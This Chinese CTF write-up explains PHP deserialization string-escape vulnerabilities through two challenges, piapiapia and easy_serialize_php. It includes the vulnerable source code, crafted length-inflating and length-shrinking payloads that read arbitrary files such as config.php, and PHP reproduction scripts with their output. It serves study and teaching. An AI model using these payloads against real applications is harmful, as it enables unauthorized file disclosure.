PHP反序列化字符串逃逸实例详解

通过CTF比赛了解PHP反序列化,记录自己的学习。

借用哈大佬们的名言

任何具有一定结构的数据,如果经过了某些处理而把结构体本身的结构给打乱了,则有可能会产生漏洞。

0CTF 2016piapiapia-----反序列化后长度递增

安询杯2019-easy_serialize_php-----反序列化后长度递减

0CTF 2016piapiapia

由于是代码审计,直接访问www.zip发现备份的源码,有一下文件,flag就在config.php,因此读取即可

class.php         //主要有mysql类(mysql基本操作)和user类(继承mysql实现功能点)
config.php        //环境配置
index.php         //登陆
profile.php       //查看自己上传的文件
register.php      //注册
update.php        //文件上传

源码分析

然后分析代码,我喜欢通过功能点来分析,既然有注册,登陆,那么自然来看看SQL咯,发现class.php中mysql类的filter过滤函数,过滤了增删查改,基本无望.

后面就看看文件上传,发现也对上传的文件参数进行了限制,但是发现对文件进行了序列化处理,那么肯定有反序列化,在profile.php中发现对上传的文件进行反序列化处理,并对文件$profile['photo']进行读取.我们再回到文件上传点,发现$profile['photo'] = 'upload/' . md5($file['name']);,但是我们无法获取加密后的文件值,后面有又看到文件上传是先序列化,再进过filter函数替换一些关键字,再反序列化,因此文件可能发生改变,因此可能有漏洞

payload构造

我们知道,PHP反序列化时以;作为分隔点,}做为结束标志,根据长度来判断读取多少字符,我们无法控制$profile['photo']但是可以控制nickname,而nickname又进行了长度限制,strlen函数却无法处理数组,因此用数组进行绕过即可我们在这里截断,那么后面的则会被废弃不再读取,而我们要构造的的payload是,最开始的";}是为了闭合前面数组nickname的{,后面的;}是为了截断,让反序列化结束,不再读取后面的内容,当然这些都不能是字符哈.

";}s:5:"photo";s:10:"config.php";}

这时构造了payload,那么就要来计算溢出数量了,我们构造的payload长度为34,那么就要增加34个长度,由于where变成hacker会增加一个长度,那么我们就需要34个where,最终payload

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

原理解析

<?php

function filter($string) {
 $escape = array('\'', '\\\\');
 $escape = '/' . implode('|', $escape) . '/';
 $string = preg_replace($escape, '_', $string);

 $safe = array('select', 'insert', 'update', 'delete', 'where');
 $safe = '/' . implode('|', $safe) . '/i';
 return preg_replace($safe, 'hacker', $string);
}

$profile = array(
 'phone'=>'01234567890',
 'email'=>'12345678@11.com',
 'nickname'=>array('wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}'),
 'photo'=>'upload/'.md5('1.jpg')
);
print_r(serialize($profile));
echo PHP_EOL;
print_r(filter(serialize($profile)));
echo PHP_EOL;
var_dump(unserialize(filter(serialize($profile))));
echo PHP_EOL;
?>

输出结果展示,最开始不用进过filter函数反序列化时,nickname数组的第一个值没被截断是一个整体wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";},刚好204个长度,经过filter过滤函数后,where变成了hacker,反序列化的长度变化了,但是又只读取204的长度,则s:5:"photo";s:10:"config.php";}";}就多出来了,作为另一个反序列化的其中一个元素,而末尾的'}又不是字符,因此被认为反序列化结束了,后面的内容被丢弃,因此可以任意读取文件.

a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:15:"12345678@11.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}

a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:15:"12345678@11.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}

array(4) {
 'phone' =>
 string(11) "01234567890"
 'email' =>
 string(15) "12345678@11.com"
 'nickname' =>
 array(1) {
 [0] =>
 string(204) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
 }
 'photo' =>
 string(10) "config.php"
}

安询杯2019-easy_serialize_php

源码

<?php

$function = @$_GET['f'];

function filter($img){
 $filter_arr = array('php','flag','php5','php4','fl1g');
 $filter = '/'.implode('|',$filter_arr).'/i';
 return preg_replace($filter,'',$img);
}

if($_SESSION){
 unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
 echo '<a href="index.php?f=highlight_file" rel="external nofollow" >source_code</a>';
}

if(!$_GET['img_path']){
 $_SESSION['img'] = base64_encode('guest_img.png');
}else{
 $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
 highlight_file('index.php');
}else if($function == 'phpinfo'){
 eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
 $userinfo = unserialize($serialize_info);
 echo file_get_contents(base64_decode($userinfo['img']));
}

分析

源码不多,我就习惯先通读一遍再回溯可能出现的漏洞点,找可控参数.通读完全发现可能存在的漏洞点:extract变量覆盖,file_get_contents任意文件读取.

将变量$userinfo['img']逆推回去发现,是由参数img_path控制的,但是经过sha1加密,我们无法得知加密后内容,但结合前面的extract变量覆盖,我们可以自己POST构造.

构造了之后,会经过序列化filter函数替换一些字符(那么此时序列化后的数据则发生了变化,可能存在漏洞),再反序列化,读取参数值.

payload构造

我们任然利用序列化,经过过滤后长度发生变化来构造payload,首先明白序列化后,有三个元素,分别是img,user,function,而我们能控制的只有后面两个,我们需要构造的payload是这样的

f";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}

但是不经任何改变则是这样的

a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}

我还是利用截断的思想不让其读取元素img的值,我们自己来构造这个值,只有两个参数,必须在function哪里截断,而这个反序列是长度递减,那么就是选择元素吞噬(吞噬的长度自己酌情参考,一般是到自己能控制的点就好)后面的长度,来构造自己的payload咯,我们就选user元素吧,len('";s:8:"function";s:10:"')的长度为23,但是我们无法构造23个长度,我们可以多吞噬一个,24个字符,那么就用6个flag就好,但是这样后面的序列化就混乱了,我们就要添加自己的payload,并补全.虽然这样补好了,但是只有两个元素,这里需要三个元素,我们就再添加元素,并将后面的img进行截断
a:3:{s:4:"user";s:24:"";s:8:"function";s:10:"show_image";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
a:3:{s:4:"user";s:24:"";s:8:"function";s:2:"22";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
截断只需}即可,并且不为读取的字符即可,因此添加f";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";},这里我们新增了一个元素,因此吞噬后function元素消失了,随便补充好元素即可.

原理解析

<?php

function filter($img){
 $filter_arr = array('php','flag','php5','php4','fl1g');
 $filter = '/'.implode('|',$filter_arr).'/i';
 return preg_replace($filter,'',$img);
}

$arr = array(
 "user"=>"flagflagflagflagflagflag",
 "function"=>'2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}',
 //"user"=>'guest',
 //"function"=>'show_image',
 "img"=>sha1(base64_encode('guest_img.png'))
);

print_r(serialize($arr));
echo PHP_EOL;
print_r(filter(serialize($arr)));
echo PHP_EOL;
print_r(unserialize(filter(serialize($arr))));

?>

输出展示

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:62:"2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
a:3:{s:4:"user";s:24:"";s:8:"function";s:62:"2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
Array
(
    [user] => ";s:8:"function";s:62:"2
    [img] => ZDBnM19mMWFnLnBocA==
    [tql] => tql
)

总结

到此这篇关于PHP反序列化字符串逃逸的文章就介绍到这了,更多相关PHP反序列化内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们!

(0)

相关推荐

  • 详解PHP序列化反序列化的方法

    经常看到一些配置文件里面存放的是一些类似带有格式的变量名称和值,其实就是一个序列化的过程,在需要用到这些数据库的时候会进行一个反序列化过程,就是将这个字符串再还原成他原来的数据结构.下面说说php 如何进行数据的序列化和反序列化的. php 将数据序列化和反序列化其实就用到两个函数,serialize 和unserialize. serialize 将数组格式化成有序的字符串 unserialize 将数组还原成数组 例如: $user=array('Moe','Larry','Curly');

  • PHP多种序列化/反序列化的方法详解

    摘要:序列化是将变量转换为可保存或传输的字符串的过程:反序列化就是在适当的时候把这个字符串再转化成原来的变量使用.这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性.. 序列化是将变量转换为可保存或传输的字符串的过程:反序列化就是在适当的时候把这个字符串再转化成原来的变量使用.这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性. 1. serialize和unserialize函数 这两个是序列化和反序列化PHP中数据的常用函数. <?php $a = array('a'

  • 详解PHP序列化和反序列化原理

    0.前言 对象的序列化和反序列化作用就不再赘述,php中序列化的结果是一个php自定义的字符串格式,有点类似json. 我们在任何语言中设计对象的序列化和反序列化都需要解决几个问题 把某个对象序列化之后,序列化的结果有自描述的功能(从序列化的结果中知道这个对象的具体类型, 知道类型还不够,当然还需要知道这个类型所对应具体的值). 序列化时的权限控制,可以自定义序列化字段等,例如golang中的做的就非常方便. 时间性能问题:在某些性能敏感的场景下,对象序列化就不能拖后腿,例如:高性能服务(我经常

  • JSON PHP中,Json字符串反序列化成对象/数组的方法

    如下所示: <?php //php反编码解析json信息 //json_decode(json字符串); $city = array('shandong'=>'jinan','henan'=>'zhengzhou','hebei'=>'shijiazhuang'); $jn_city = json_encode($city); //反编码json $fan_city = json_decode($jn_city,false);//第二个参数false则返回object类型,fals

  • php反序列化长度变化尾部字符串逃逸(0CTF-2016-piapiapia)

    一个很可爱的登录界面: 进行一下目录扫描,发现源码泄露www.zip,把源码给出: index.php <?php require_once('class.php'); if($_SESSION['username']) { header('Location: profile.php'); exit; } if($_POST['username'] && $_POST['password']) { $username = $_POST['username']; $password =

  • PHP 序列化和反序列化函数实例详解

    序列化与反序列化 把复杂的数据类型压缩到一个字符串中 serialize() 把变量和它们的值编码成文本形式 unserialize() 恢复原先变量 1.创建一个$arr数组用于储存用户基本信息,并在浏览器中输出查看结果: $arr=array(); $arr['name']='张三'; $arr['age']='22'; $arr['sex']='男'; $arr['phone']='123456789'; $arr['address']='上海市浦东新区'; var_dump($arr):

  • php中序列化与反序列化详解

    把复杂的数据类型压缩到一个字符串中 serialize() 把变量和它们的值编码成文本形式 unserialize() 恢复原先变量 eg: $stooges = array('Moe','Larry','Curly'); $new = serialize($stooges); print_r($new);echo "<br />"; print_r(unserialize($new)); 结果:a:3:{i:0;s:3:"Moe";i:1;s:5:&q

  • PHP中SERIALIZE和JSON的序列化与反序列化操作区别分析

    本文实例讲述了PHP中SERIALIZE和JSON的序列化与反序列化操作区别.分享给大家供大家参考,具体如下: PHP中SERIALIZE和JSON序列化与反序列化区别是什么呢,对于这个问题我们可以和小编一起来看看,具体的操作细节如下所示. 在PHP中,serialize和json两种方式对一个对象或数组进行序列化或反序列化有什么区别呢? 假设一个对象和一个数组: $web = new stdClass; $web->site = 'tantengvip'; $web->owner = 'tu

  • 解析PHP多种序列化与反序列化的方法

    序列化是将变量转换为可保存或传输的字符串的过程:反序列化就是在适当的时候把这个字符串再转化成原来的变量使用.这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性.1. serialize和unserialize函数这两个是序列化和反序列化PHP中数据的常用函数. 复制代码 代码如下: <?php$a = array('a'=> 'Apple' ,'b' => 'banana', 'c' => 'Coconut');//序列化数组$s = serialize($a);ech

  • PHP反序列化字符串逃逸实例详解

    通过CTF比赛了解PHP反序列化,记录自己的学习. 借用哈大佬们的名言 任何具有一定结构的数据,如果经过了某些处理而把结构体本身的结构给打乱了,则有可能会产生漏洞. 0CTF 2016piapiapia-----反序列化后长度递增 安询杯2019-easy_serialize_php-----反序列化后长度递减 0CTF 2016piapiapia 由于是代码审计,直接访问www.zip发现备份的源码,有一下文件,flag就在config.php,因此读取即可 class.php        

  • IOS开发之字典转字符串的实例详解

    IOS开发之字典转字符串的实例详解 在实际的开发需求时,有时候我们需要对某些对象进行打包,最后拼接到参数中 例如,我们把所有的参数字典打包为一个 字符串拼接到参数中 思路:利用系统系统JSON序列化类即可,NSData作为中间桥梁 //1.字典转换为字符串(JSON格式),利用 NSData作为桥梁; NSDictionary *dic = @{@"name":@"Lisi",@"sex":@"m",@"tel&qu

  • Python字符串处理实例详解

    Python字符串处理实例详解 一.拆分含有多种分隔符的字符串 1.如何拆分含有多种分隔符的字符串 问题: 我们要把某个字符串依据分隔符号拆分不同的字段,该字符串包含多种不同的分隔符,例如: s = "ab;cd|efg|hi,jkl|mn\topq;rst,uvw\txyz" 其中;,|,\t 都是分隔符号,如何处理? 方法一: 连续使用str.split()方法,每次处理一种分隔符号 s = "ab;cd|efg|hi,jkl|mn\topq;rst,uvw\txyz&q

  • Scala解析Json字符串的实例详解

    Scala解析Json字符串的实例详解 1. 添加相应依赖 Json解析工具使用的 json-smart,曾经对比过Java的fastjson.gson.Scala的json4s.lift-json.其中 json-smart 解析速度是最快的. <dependency> <groupId>net.minidev</groupId> <artifactId>json-smart</artifactId> <version>2.3<

  • C++/C 回文字符串的实例详解

    C++/C回文字符串的实例详解 判断输入的字符串是不是回文字符串,正反读一样. .C版 #include<stdio.h> int main() { char he[100]; char a; int i=0,flag=1; while((a=getchar())!='\n') { he[i]=a; i++; } int n=i; for(i=0;i<n/2;i++) { printf("%c\t%c\n",he[i],he[n-1-i]); if(he[i]!=he

  • C++ 中String 替换指定字符串的实例详解

    C++ 中String 替换指定字符串的实例详解 C++的string提供了replace方法来实现字符串的替换,但是对于将字符串中某个字符串全部替换这个功能,string并没有实现,我们今天来做的就是这件事. 首先明白一个概念,即string替换所有字符串,将"12212"这个字符串的所有"12"都替换成"21",结果是什么? 可以是22211,也可以是21221,有时候应用的场景不同,就会希望得到不同的结果,所以这两种答案都做了实现, 代码如

  • Java整数和字符串相互转化实例详解

    这篇文章主要介绍了Java整数和字符串相互转化实例详解,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下 1.把int转化为String 以下三种方式把整形地i转化为字符串s,当然把Double.Float.Long转化为字符串操作一样. 1.String s=""+i; 2.String s=Integer.toString(i); 3.String s=String.valueOf(i); 2.把String转化为int型. 1.in

  • Golang基础教程之字符串string实例详解

    目录 1. string的定义 2.string不可变 3.使用string给另一个string赋值 4.string重新赋值 补充:字符串拼接 总结 1. string的定义 Golang中的string的定义在reflect包下的value.go中,定义如下: StringHeader 是字符串的运行时表示,其中包含了两个字段,分别是指向数据数组的指针和数组的长度. // StringHeader is the runtime representation of a string. // I

  • js数组常见操作及数组与字符串相互转化实例详解

    本文实例讲述了js数组常见操作及数组与字符串相互转化方法.分享给大家供大家参考,具体如下: 数组与字符串的相互转化 <script type="text/javascript"> var obj="new1abcdefg".replace(/(.)(?=[^$])/g,"$1,").split(","); //字符串转化为数组 var obj2 = "new2abcdefg".split(&qu

  • C#序列化与反序列化(Serialize,Deserialize)实例详解

    本文实例讲述了C#序列化与反序列化(Serialize,Deserialize)实现方法.分享给大家供大家参考.具体分析如下: 如果要保存运行程序过程的数据要么保存到数据库中,要么新建一个普通的文件,然后把数据保存进去.但是这两者有个缺点就是,不能把原有数据的结构也保存进去.比如一个类中的字段值保存进去后再读取出来必须再解析下才行.序列化技术让你省去了解析的过程.保存后再读取时直接得到一个class 序列化的方式有三种:BinaryFormatter,SoapFormatter,XmlSeria

随机推荐